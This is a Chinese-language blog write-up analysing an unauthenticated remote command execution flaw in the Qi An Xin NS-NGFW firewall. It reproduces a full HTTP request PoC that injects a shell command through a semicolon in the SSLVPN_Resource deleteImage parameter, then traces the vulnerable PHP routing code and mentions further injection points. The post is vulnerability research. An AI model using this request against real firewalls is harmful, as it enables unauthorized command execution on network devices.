奇安信NS-NGFW防火墙前台rce分析

奇安信NS-NGFW防火墙前台rce分析

最近hw行动愈演愈烈,漏洞也是层出不穷,之前爆出了网康防火墙的rce,就分析一下

影响

这次漏洞又是前台无条件rce,影响就还是挺大的。

image-20210414220702607

详情

网上的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /directdata/direct/router HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=nhqa43j0v61u6mtgkskkf235q7; ys-active_page=s%3A
Upgrade-Insecure-Requests: 1
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 160

{
"action": "SSLVPN_Resource",
"method": "deleteImage",
"data":[{
"data":["/var/www/html/b.txt;echo'fa3a6469'>/var/www/html/fa3a6.txt"]
}],
"type": "rpc",
"tid": 17
}

post请求部分如上,可以很明显的看出是一个命令注入的漏洞。

分析

根据漏洞我们就可以结合代码进行分析

首先根据路由,找到 /directdata/direct/router 这个请求的内容

image-20210415023027400

发现调用了 Ext_Direct 类的 run 方法,发现这个类的作用是直接调用模板内的方法,继续跟进

image-20210415023210498

开头调用了 Ext_Direct_Request 类解析请求

image-20210415023755850

image-20210415023804373

发现这个方法解析了请求体,他做的操作是先调用 json_decode 解析json,会返回一个对象,然后一次解析请求的类名、方法名、参数名。

image-20210415024006387

并通过 call_user_func_array 调用方法,传递参数。

那这个漏洞的利用就很明了, DirectController.php 这个控制器存在未授权的问题,导致攻击者可以利用他调用任意模板。

那我们就可以对poc进行分析:

1
2
3
4
5
"action": "SSLVPN_Resource",
"method": "deleteImage",
"data":[{
"data":["/var/www/html/b.txt;echo'fa3a6469'>/var/www/html/fa3a6.txt"]
}]

这三个参数,对应着:

1
2
3
4
5
6
7
类名:SSLVPN_Resource
方法:deleteImage
参数:{
"data":["/var/www/html/b.txt;echo'fa3a6469'>/var/www/html/fa3a6.txt"]
}
# call_user_func_array使用数组传递参数

那就直接去代码中寻找就行

image-20210415024532281

一目了然,参数传递的是一个对象,取 data 的值(数组)进行遍历后,如果遍历的值不是default.png,则将该值拼接进命令执行删除,其中未作任何过滤,直接通过 ; 即可执行任意命令。

其他RCE点

其实可调用的model中还有很多的rce点,比如以下这个点

image-20210415025011554

利用方式更简洁明了

image-20210415025038253

而且此处是回显的。

又比如

image-20210415025132254

这里,对于linux系统来说建立文件夹的名称是可以包含特殊字符的

image-20210415025243740

这样的话其实对他们执行命令时需要通过转义符进行转义,比如

1
rm -rf 1\;2

但是这个代码里明显没有,这个exec_cmd是执行环境变量 CMD 的值,所以这里又是一处命令注入点

image-20210415025521207

应该还有很多地方把,不一个个挖了。。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!